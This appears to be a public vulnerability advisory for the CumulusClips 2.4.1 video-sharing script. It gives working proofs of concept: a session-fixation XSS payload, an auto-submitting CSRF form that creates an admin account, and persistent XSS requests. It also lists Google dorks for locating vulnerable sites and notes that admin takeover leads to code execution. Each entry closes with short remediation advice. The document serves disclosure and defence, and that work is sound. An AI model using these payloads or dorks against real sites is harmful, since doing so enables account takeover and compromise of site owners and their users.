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CumulusClips 2.4.1 Code Execution / CSRF / Cross Site Scripting
`# Exploit Title: CumulusClips Session fixation
# Google Dork: inurl:/cumulusclips/videos/
# Date: 2.09.2016
# Exploit Author: kor3k / Aukasz Korczyk
# Vendor Homepage: http://cumulusclips.org/
# Software Link: http://cumulusclips.org/cumulusclips.zip
# Version: 2.4.1
# Tested on: Debian Jessie
Description:
CumulusClips is a video sharing script that allows you to start your own
video website.
CumulusClips video sharing script produces HTML5 video compatible on iOS &
Android mobile devices, as well as all the major browsers.
PoC:
POST /cumulusclips/account/videos/edit/1362/ HTTP/1.1
Host: 192.168.122.203
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.122.203/cumulusclips/account/videos/edit/1362/
Cookie: PHPSESSID=bqaok1gfcs0s7hqfc40g2bsbr1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 211
title=evilcartoon%3Cscript%3Edocument.cookie%3D%27PHPSESSID%
3Dxxxxxxxxxxxxxxxxxxxxxxxxxx%3Bpath%3D%2F%3B%27%3C%
2Fscript%3E&tags=aaa&cat_id=1&description=aaa&private_url=
BOZtzZX&submitted=TRUE&button=Update+Video
Remediation:
Change session id after sucessful login
Post exploitation:
Since it is posible to impersonate admin there is possibility for a code
execution and unrestricted file upload in admin panel.
#######################################################
# Exploit Title: CumulusClips XSRF and code execution
# Google Dork: inurl:/cumulusclips/videos/
# Date: 2.09.2016
# Exploit Author: kor3k / Aukasz Korczyk
# Vendor Homepage: http://cumulusclips.org/
# Software Link: http://cumulusclips.org/cumulusclips.zip
# Version: 2.4.1
# Tested on: Debian Jessie
# CVE : [if applicable]
Description:
CumulusClips is a video sharing script that allows you to start your own video website.
CumulusClips video sharing script produces HTML5 video compatible on iOS & Android mobile devices, as well as all the major browsers.
PoC:
<html>
<body>
<form action="http://192.168.122.203/cumulusclips/cc-admin/members_add.php" method="POST">
<input type="hidden" name="role" value="admin" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="username" value="newadmin" />
<input type="hidden" name="password" value="newadminpass" />
<input type="hidden" name="password-show" value="" />
<input type="hidden" name="first_name" value="" />
<input type="hidden" name="last_name" value="" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="about_me" value="" />
<input type="hidden" name="submitted" value="TRUE" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Remediation:
Use anti-csrf token, fix all XSS'es
#######################################################
# Exploit Title: CumulusClips Persistent XSS
# Google Dork: inurl:/cumulusclips/videos/
# Date: 2.09.2016
# Exploit Author: kor3k / Aukasz Korczyk
# Vendor Homepage: http://cumulusclips.org/
# Software Link: http://cumulusclips.org/cumulusclips.zip
# Version: 2.4.1
# Tested on: Debian Jessie
# CVE : [if applicable]
Description:
CumulusClips is a video sharing script that allows you to start your own video website.
CumulusClips video sharing script produces HTML5 video compatible on iOS & Android mobile devices, as well as all the major browsers.
Any registered user may inject a code to main site. There is no HTTPonly flag on cookies so it is possible to steal session information.
PoC:
locations:
/cumulusclips/account/videos/edit/
/cumulusclips/account/upload/video/
POST /cumulusclips/account/videos/edit/1358/ HTTP/1.1
Host: 192.168.122.203
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.122.203/cumulusclips/account/videos/edit/1358/
Cookie: PHPSESSID=etia0ncfb00m0ma1834cf1dds5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 215
title=www%3Cscript%3Ealert%281%29%3C%2Fscript%3E&tags=www%3Cscript%3Ealert%281%29%3C%2Fscript%3E&cat_id=1&description=www%3Cscript%3Ealert%281%29%3C%2Fscript%3E&private_url=DyZbn8m&submitted=TRUE&button=Update+Video
reflected on main site:
GET /cumulusclips/ HTTP/1.1
Host: 192.168.122.203
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.122.203/
Connection: close
RESPONSE:
...
div class="video">
<div class="thumbnail">
<a href="http://192.168.122.203/cumulusclips/videos/1358/www-script-alert-1-script/" title="www<script>alert(1)</script>">
<img width="165" height="92" src="http://192.168.122.203/cumulusclips/cc-content/uploads/thumbs/Ufi5q2RKsQtXwludfZnR.jpg" />
...
Post exploitation:
Since it is posible to steal the cookie and impersonate admin there is possibility for a code execution and unrestricted file upload in admin panel.
Remediation:
Validate user input for special characters (preferable white list), use HTTPonly header
`
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07 Sep 2016 00:00Current